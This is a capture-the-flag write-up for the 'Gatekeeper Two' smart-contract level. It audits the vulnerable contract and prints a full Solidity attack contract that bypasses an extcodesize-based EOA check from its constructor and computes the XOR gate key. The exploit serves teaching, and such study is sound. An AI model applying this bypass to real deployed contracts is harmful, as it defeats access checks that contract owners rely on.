Page cover image

Gatekeeper Two

EOA check

Description

This gatekeeper introduces a few new challenges. Register as an entrant to pass this level.

Things that might help:

  • Remember what you've learned from getting past the first gatekeeper - the first gate is the same.

  • The assembly keyword in the second gate allows a contract to access functionality that is not native to vanilla Solidity. See here for more information. The extcodesize call in this gate will get the size of a contract's code at a given address - you can learn more about how and when this is set in section 7 of the yellow paper.

  • The ^ character in the third gate is a bitwise operation (XOR), and is used here to apply another common bitwise operation (see here). The Coin Flip level is also a good place to start when approaching this challenge.

Background Knowledge

https://consensys.github.io/smart-contract-best-practices/development-recommendations/solidity-specific/extcodesize-checks/

Code Audit

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

Again, we are given three "gates" as modifiers and we should pass all these modifier to complete this level.

Solution

gateOne

require(msg.sender != tx.origin);

The msg.sender will be the solution contract and tx.origin will be our EOA adderss.

gateTwo

uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);

The caller contract must have code size 0. This check is often used as EOA check: if extcodesize(caller()) is 0, then the caller is EOA; otherwise, the caller is a contract. Here we are going to show that this check is not sufficient.

Here is the attack:

https://solidity-by-example.org/hacks/contract-size/

The idea is that extcodesize() returns 0 during the construction phase. If we put all the code in constructor, then this check will be bypassed.

gateThree

require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);

To find out _gateKey, we need to compute:

uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ type(uint64).max)

This is because of the property of XOR: x ^ y = z then y = x ^ z. Note that msg.sender should be the address of our solution contract. So in the exp, msg.sender becomes address(this):

uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max

Solution

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IGatekeeperTwo {
    function enter(bytes8 _gateKey) external returns(bool);
}

contract attack {

    constructor() {
        IGatekeeperTwo target = IGatekeeperTwo(0x8c080F851d6aa4A885fDcfAAC3e13d55FA4BbBa1);

        bytes8 key;
        key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);

        target.enter(key);
    }
}

Note that unchecked{} is required.

Summary

Way to go! Now that you can get past the gatekeeper, you have what it takes to join theCyber, a decentralized club on the Ethereum mainnet. Get a passphrase by contacting the creator on reddit or via email and use it to register with the contract at gatekeepertwo.thecyber.eth (be aware that only the first 128 entrants will be accepted by the contract).

Last updated